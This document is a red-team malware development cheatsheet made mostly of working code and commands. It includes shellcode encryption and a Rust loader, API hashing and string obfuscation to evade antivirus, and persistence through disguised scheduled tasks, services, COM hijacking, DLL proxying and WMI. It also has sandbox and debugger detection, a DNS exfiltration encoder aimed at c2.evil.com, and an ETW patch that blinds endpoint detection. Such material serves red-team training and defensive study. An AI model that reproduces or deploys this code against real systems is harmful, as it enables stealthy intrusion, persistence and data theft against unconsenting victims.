Malware Development cheatsheet

Multiple ways to transfer execution to shellcode beyond a plain function pointer. Callback-based methods (EnumFonts, CreateTimerQueueTimer) look less suspicious in call stacks since the execution origin is a legitimate Windows API.

For process injection techniques (remote shellcode execution), see Shellcode Injection.

AES-256 in CBC mode is the gold standard for payload encryption. It provides strong confidentiality and is trusted enough that AV/EDR cannot flag the algorithm itself as suspicious. The main challenge is key management - the decryption key must be delivered to the loader without being statically extractable (e.g., fetched from C2, derived from environment data, or split across stages).

using System.Security.Cryptography;

byte[] AesEncrypt(byte[] plaintext, byte[] key, byte[] iv) {
    using (var aes = Aes.Create()) {
        aes.Key = key;   // 32 bytes
        aes.IV = iv;     // 16 bytes
        aes.Mode = CipherMode.CBC;
        aes.Padding = PaddingMode.PKCS7;
        using (var enc = aes.CreateEncryptor())
            return enc.TransformFinalBlock(
                plaintext, 0, plaintext.Length);
    }
}

byte[] AesDecrypt(byte[] ciphertext, byte[] key, byte[] iv) {
    using (var aes = Aes.Create()) {
        aes.Key = key;
        aes.IV = iv;
        aes.Mode = CipherMode.CBC;
        aes.Padding = PaddingMode.PKCS7;
        using (var dec = aes.CreateDecryptor())
            return dec.TransformFinalBlock(
                ciphertext, 0, ciphertext.Length);
    }
}

RC4 is a stream cipher that is simple to implement and requires no IV or padding, making it popular in compact loaders and shellcode. Encryption and decryption use the same function (symmetric keystream XOR). While cryptographically broken for protocols like WEP/TLS, it remains practical for payload obfuscation where the goal is AV evasion, not long-term secrecy.

void rc4(unsigned char* data, size_t len,
         unsigned char* key, size_t keyLen) {
    unsigned char S[256];
    for (int i = 0; i < 256; i++) S[i] = i;

    int j = 0;
    for (int i = 0; i < 256; i++) {
        j = (j + S[i] + key[i % keyLen]) % 256;
        unsigned char tmp = S[i];
        S[i] = S[j];
        S[j] = tmp;
    }

    int i = 0; j = 0;
    for (size_t n = 0; n < len; n++) {
        i = (i + 1) % 256;
        j = (j + S[i]) % 256;
        unsigned char tmp = S[i];
        S[i] = S[j];
        S[j] = tmp;
        data[n] ^= S[(S[i] + S[j]) % 256];
    }
}

Rust implementation of multi-byte XOR decryption for shellcode. The encrypted payload is stored as a byte array, decrypted in-place at runtime, then executed. Compile with --release to ensure the optimizer does not elide the XOR loop.

fn xor_decrypt(data: &mut [u8], key: &[u8]) {
    for i in 0..data.len() {
        data[i] ^= key[i % key.len()];
    }
}

fn main() {
    // XOR-encrypted shellcode (key: b"redteam")
    let mut shellcode: Vec<u8> = vec![
        0x9e, 0x2d, 0xb1, 0x80, 0x94 // ... encrypted bytes
    ];
    let key = b"redteam";

    xor_decrypt(&mut shellcode, key);

    // Execute decrypted shellcode (use VirtualAlloc pattern)
    unsafe {
        let base = windows::Win32::System::Memory::VirtualAlloc(
            Some(std::ptr::null()),
            shellcode.len(),
            windows::Win32::System::Memory::MEM_COMMIT
                | windows::Win32::System::Memory::MEM_RESERVE,
            windows::Win32::System::Memory::PAGE_READWRITE,
        );
        std::ptr::copy_nonoverlapping(
            shellcode.as_ptr(), base as *mut u8, shellcode.len());
        let mut old = windows::Win32::System::Memory::PAGE_PROTECTION_FLAGS(0);
        let _ = windows::Win32::System::Memory::VirtualProtect(
            base, shellcode.len(),
            windows::Win32::System::Memory::PAGE_EXECUTE_READ, &mut old);
        let f: fn() = std::mem::transmute(base);
        f();
    }
}

Quick reference for choosing a payload encryption scheme. Balance implementation complexity, performance, and how easily defenders can recover the plaintext. For most loaders, AES or RC4 with a remotely-fetched key is the sweet spot.

Static analysis and YARA rules scan the .rdata section for suspicious strings like "VirtualAlloc" or "CreateRemoteThread". Compile-time hashing replaces those plaintext API names with numeric hash constants, then resolves them at runtime by walking the export table. This breaks string-based signatures entirely.

// API name hashing - avoids strings in binary
#define HASH_SEED 5381
constexpr DWORD hash(const char* str) {
    DWORD h = HASH_SEED;
    while (*str) h = ((h << 5) + h) + *str++;
    return h;
}

// Usage: resolve at runtime
#define H_VirtualAlloc      0x382C0F97
#define H_VirtualProtect    0x844FF18D
#define H_CreateThread      0x7F08F451

FARPROC resolve(HMODULE hMod, DWORD targetHash) {
    // Walk EAT, hash each name, compare
    // Return function pointer on match
}

Tools like strings, FLOSS, and YARA extract string literals from the .rdata/.data sections of a PE. By constructing strings character-by-character on the stack, the string never appears contiguously in the binary. This defeats basic static extraction, though advanced tools (FLOSS) can still recover them via emulation.

// Build strings on stack - avoids static analysis
char sKernel32[] = { 'k','e','r','n','e','l','3','2',
                     '.','d','l','l', 0 };
char sLoadLib[] = { 'L','o','a','d','L','i','b','r',
                    'a','r','y','A', 0 };

HMODULE hK32 = GetModuleHandleA(sKernel32);
FARPROC pLoad = GetProcAddress(hK32, sLoadLib);

Runtime string decryption stores sensitive strings as encrypted byte arrays in the binary and decrypts them only when needed. This is the standard pattern in .NET implants since managed assemblies are trivially decompiled. The encrypted blob is meaningless to static analysis; the string only exists briefly in memory during use.

// Encrypted strings decrypted at runtime
static string Dec(byte[] enc, byte key) {
    var sb = new System.Text.StringBuilder();
    foreach (var b in enc)
        sb.Append((char)(b ^ key));
    return sb.ToString();
}

// "VirtualAlloc" encrypted with key 0x42
byte[] sVA = { 0x14, 0x2B, 0x30, 0x36, 0x37,
               0x23, 0x2E, 0x03, 0x2E, 0x2E,
               0x2D, 0x21 };
string name = Dec(sVA, 0x42);

This is a prep-time tool, not a runtime technique. Use it to generate shifted byte arrays that you embed in your C/C# source code. The implant then reverses the shift at runtime. Simple but effective for avoiding plaintext strings in the compiled binary.

# Encrypt strings for embedding
def encrypt_str(s, shift=13):
    return ','.join(
        [hex(ord(c) + shift) for c in s]
    )

# "VirtualAlloc" -> C array
print(encrypt_str("VirtualAlloc"))
# 0x63,0x76,0x7f,0x81,0x82,0x6e,...

DJB2 hash implementation in Rust for runtime API resolution. The const fn ensures the hash is computed at compile time when called with a literal, so no plaintext API names appear in the binary.

const fn djb2_hash(s: &[u8]) -> u32 {
    let mut h: u32 = 5381;
    let mut i = 0;
    while i < s.len() {
        h = h.wrapping_mul(33).wrapping_add(s[i] as u32);
        i += 1;
    }
    h
}

// Compile-time constants - no strings in binary
const H_VIRTUAL_ALLOC: u32 = djb2_hash(b"VirtualAlloc");
const H_VIRTUAL_PROTECT: u32 = djb2_hash(b"VirtualProtect");
const H_LOAD_LIBRARY_A: u32 = djb2_hash(b"LoadLibraryA");

// Runtime: walk PEB -> LDR -> export table,
// hash each export name, compare against constants

CRC32 is another popular hash for API resolution. It has fewer collisions than DJB2 and is often used in shellcode (Metasploit's block_api uses a variant). The table-less implementation keeps the code compact.

#define CRC32_POLY 0xEDB88320

DWORD crc32_hash(const char* str) {
    DWORD crc = 0xFFFFFFFF;
    while (*str) {
        crc ^= (BYTE)*str++;
        for (int i = 0; i < 8; i++)
            crc = (crc >> 1) ^ (CRC32_POLY & (-(crc & 1)));
    }
    return crc ^ 0xFFFFFFFF;
}

Scheduled tasks are reliable and survive reboots. They support flexible triggers (logon, time interval, event-based) and can run as SYSTEM. Tasks created via COM objects leave fewer command-line artifacts than schtasks.exe. Defenders monitor the \Microsoft\Windows\ task folder and Security event 4698.

# Create persistent scheduled task
schtasks /create /tn "MicrosoftEdgeUpdate" /tr "C:\Users\Public\svc.exe" /sc onlogon /ru SYSTEM

# With specific timing
schtasks /create /tn "ChromeSync" /tr "powershell -w hidden -f C:\Users\Public\sync.ps1" /sc minute /mo 30

# Via COM (stealthier)
$action = New-ScheduledTaskAction -Execute "C:\Users\Public\svc.exe"
$trigger = New-ScheduledTaskTrigger -AtLogon
Register-ScheduledTask -TaskName "Update" -Action $action -Trigger $trigger

Services provide high-privilege persistence running as SYSTEM. They start automatically at boot (before user logon) and can be configured as DLL-based services hosted by svchost.exe for better blending. Requires admin to install. Monitored via System event 7045 and the Services registry hive.

# Create service (admin required)
sc create "WindowsHealthSvc" binpath= "C:\Windows\Temp\svc.exe" start= auto DisplayName= "Windows Health Service"
sc start WindowsHealthSvc

# DLL service
sc create "UpdateSvc" binpath= "C:\Windows\System32\svchost.exe -k netsvcs" start= auto
reg add "HKLM\System\CurrentControlSet\Services\UpdateSvc\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\Temp\evil.dll"

Windows resolves COM objects by searching HKCU before HKLM. By registering a malicious DLL under a CLSID in HKCU, you hijack loading when any application instantiates that COM class. No admin required, very stealthy since no new services or tasks are created - the trigger is built into normal application behavior.

# Find hijackable CLSIDs
# Look for missing InprocServer32 DLLs
reg query "HKCU\Software\Classes\CLSID" /s /f InprocServer32

# Hijack CLSID (user-level)
reg add "HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32" /ve /t REG_SZ /d "C:\Users\Public\evil.dll"
reg add "HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Both"

DLL proxying (also called DLL side-loading with forwarding) replaces a legitimate DLL while maintaining all its original functionality. The proxy DLL forwards every export to the renamed original, so the host application works normally. Your payload runs in DllMain. This avoids breaking application behavior, which would alert the user or crash the host process.

1. Find target DLL loaded by legit app
2. Rename original: legit.dll -> legit_orig.dll
3. Create proxy DLL that:
   - Exports all original functions
   - Forwards calls to legit_orig.dll
   - Executes payload on DllMain
4. Place proxy as legit.dll

// Export forwarding (DEF file)
EXPORTS
  OriginalFunc1=legit_orig.OriginalFunc1
  OriginalFunc2=legit_orig.OriginalFunc2

WMI event subscriptions are a fileless persistence mechanism. A permanent event filter + consumer + binding lives entirely in the WMI repository (OBJECTS.DATA), not the filesystem. The payload triggers on any WQL-queryable event (process start, timer, logon). Hard to detect without dedicated WMI auditing or tools like Autoruns.

# Permanent WMI event consumer (survives reboot)
$filter = Set-WMIInstance -Class __EventFilter -Arguments @{
    Name = 'UpdateFilter'
    EventNameSpace = 'root\cimv2'
    QueryLanguage = 'WQL'
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}

$consumer = Set-WMIInstance -Class CommandLineEventConsumer -Arguments @{
    Name = 'UpdateConsumer'
    CommandLineTemplate = 'C:\Users\Public\payload.exe'
}

Set-WMIInstance -Class __FilterToConsumerBinding -Arguments @{
    Filter = $filter
    Consumer = $consumer
}

Sandboxes often accelerate or skip Sleep() calls to speed up analysis. By measuring elapsed time before and after a sleep, you can detect if the sandbox shortened it. Checking for mouse movement or user interaction is another strong signal - sandboxes rarely simulate realistic human input patterns.

// Sleep acceleration detection
DWORD t1 = GetTickCount();
Sleep(2000);  // Sleep 2 seconds
DWORD t2 = GetTickCount();
if ((t2 - t1) < 1500) ExitProcess(0);  // Sandbox skipped sleep

// NTP time check
// Compare local time vs NTP server
// Large skew indicates sandbox

// Delayed execution
// Wait for user interaction (mouse move, keypress)
POINT p1, p2;
GetCursorPos(&p1);
Sleep(5000);
GetCursorPos(&p2);
if (p1.x == p2.x && p1.y == p2.y)
    ExitProcess(0);  // No mouse movement

Debugger detection falls into several categories: API-based checks (IsDebuggerPresent), PEB flag inspection, timing anomalies (single-stepping adds measurable overhead), hardware breakpoint detection via debug registers, and exception-based tricks (INT 2D). Layering multiple methods increases reliability.

Enumerating running processes and checking for known analysis tools (Wireshark, x64dbg, Process Hacker) is a quick way to detect an analyst's workstation. VM detection checks for VMware/VirtualBox artifacts in the registry and process list. Note that many enterprises run VMs in production, so VM detection can cause false positives in real targets.

// Check for analysis tools
char* blacklist[] = {
    "wireshark.exe", "procmon.exe", "x64dbg.exe",
    "ida64.exe", "ollydbg.exe", "processhacker.exe",
    "fiddler.exe", "autoruns.exe", NULL
};

HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { sizeof(pe) };
Process32First(snap, &pe);
do {
    for (int i = 0; blacklist[i]; i++) {
        if (!_stricmp(pe.szExeFile, blacklist[i]))
            ExitProcess(0);
    }
} while (Process32Next(snap, &pe));

// VM detection via registry
// HKLM\SOFTWARE\VMware, Inc.\VMware Tools
// HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions
// Check for vmtoolsd.exe, VBoxService.exe

DNS is a covert C2 channel because DNS traffic is almost never blocked and often not inspected. Data is encoded into subdomain labels of queries to an attacker-controlled authoritative nameserver. Tasking comes back in TXT/CNAME records. Bandwidth is low (limited by label/query size) but the channel is extremely hard to block without breaking legitimate DNS.

# DNS exfil encoder (prep-time tool)
import base64

def dns_encode(data: bytes, domain: str) -> list:
    """Chunk data into DNS-safe subdomain labels."""
    b32 = base64.b32encode(data).decode().rstrip("=").lower()
    # Max 63 chars per label, 253 total FQDN
    chunks = [b32[i:i+63] for i in range(0, len(b32), 63)]
    queries = []
    for i, chunk in enumerate(chunks):
        queries.append(f"{i}.{chunk}.data.{domain}")
    return queries

# Usage: generate queries for exfiltration
for q in dns_encode(b"whoami output here", "c2.evil.com"):
    print(q)  # 0.orsxg5bamnqxk4y.data.c2.evil.com
    # Implant sends: nslookup -type=TXT <query>
    # C2 authoritative NS receives and reassembles

Named pipes provide peer-to-peer communication between implants on the same network, especially useful for lateral movement. A parent beacon on an internet-connected host relays traffic to child implants that communicate only via SMB named pipes. This keeps internal implants off the wire and reduces the number of hosts that beacon externally.

// P2P communication via named pipes
// Server (implant)
var server = new NamedPipeServerStream(
    "msupdate_pipe",
    PipeDirection.InOut,
    1,
    PipeTransmissionMode.Byte,
    PipeOptions.Asynchronous);
server.WaitForConnection();

// Client (operator)
var client = new NamedPipeClientStream(
    "targethost",
    "msupdate_pipe",
    PipeDirection.InOut);
client.Connect(5000);

The Antimalware Scan Interface (AMSI) scans PowerShell, .NET assemblies, VBScript, and JScript at runtime. Any in-memory payload loaded via these runtimes will be scanned before execution. Bypassing AMSI is a prerequisite for running unobfuscated .NET implants or PowerShell cradles.

Common techniques: patching amsi.dll!AmsiScanBuffer in memory, forcing an error return, hardware breakpoint hooking, and CLR-level bypass via reflection.

For detailed bypass techniques and code, see AMSI Bypass.

Event Tracing for Windows (ETW) feeds telemetry to EDR products. Patching ntdll!EtwEventWrite to return immediately (xor eax, eax; ret) blinds the EDR to .NET assembly loads, syscall traces, and threat intelligence events. Combine with AMSI bypass for full coverage.

// Patch EtwEventWrite to disable ETW
void PatchEtw() {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PVOID pEtw = GetProcAddress(hNtdll, "EtwEventWrite");

    DWORD oldProtect;
    VirtualProtect(pEtw, 4, PAGE_EXECUTE_READWRITE, &oldProtect);

    // xor eax, eax; ret (return STATUS_SUCCESS)
    memcpy(pEtw, "\x33\xc0\xc3", 3);

    VirtualProtect(pEtw, 4, oldProtect, &oldProtect);
}

For more AMSI and ETW bypass methods, see AMSI Bypass and EDR Evasion.

Understanding the PE (Portable Executable) format is essential for writing loaders, packers, reflective DLL injection, and manual mapping. Key structures: DOS header, NT headers (signature + file header + optional header), section headers (.text, .rdata, .data, .rsrc, .reloc), and the data directories (imports, exports, relocations, TLS).

For detailed PE structure reference, see Windows Internals.

• Static linking (/MT in MSVC, -static in GCC) avoids runtime DLL dependencies that may be missing on targets
• Strip symbols (strip or /DEBUG:NONE) to remove function names from the binary
• Disable CRT security (/GS-) to reduce binary size and remove stack cookies (not needed for implants)
• Resource signing: use sigthief or CarbonCopy to clone Authenticode signatures from legitimate binaries
• Entropy reduction: after encryption, use tools like Limelighter or append large low-entropy sections to reduce overall file entropy below detection thresholds

• Compilers: MSVC, MinGW-w64, Nim, Go, Rust
• Shellcode: Donut, ScareCrow, PEzor, Freeze
• Obfuscation: ConfuserEx (.NET), Themida (native), VMProtect
• Packers: UPX, MPRESS, Amber, Limelighter
• Loaders: sRDI, COFFLoader, BokuLoader
• Testing: Antiscan.me (no distribution), DefenderCheck
• Debug: x64dbg, WinDbg, IDA Pro, Ghidra

• MalDev Academy - Structured MalDev course
• IRED.team - Red team notes
• OffensiveNim - Nim implant techniques
• SharpCollection - Pre-compiled C# tools
• Awesome MalDev - Curated list
• C2 Matrix - C2 framework comparison
• Unprotect.it - Evasion technique database
• LOLC2 - Living Off the Land C2 channels

• MalDev Academy
• ired.team
• HackTricks
• Unprotect.it
• C2 Matrix
• VX-Underground
• Awesome Malware Development

• Shellcode Injection (Process injection techniques)
• EDR Evasion (Bypass endpoint detection and response)
• AMSI Bypass (Antimalware Scan Interface bypass techniques)
• Windows Internals (PE format, NT API, kernel structures)
• Metasploit (Exploitation framework cheatsheet)
• LOLC2 (Living Off the Land C2 channels)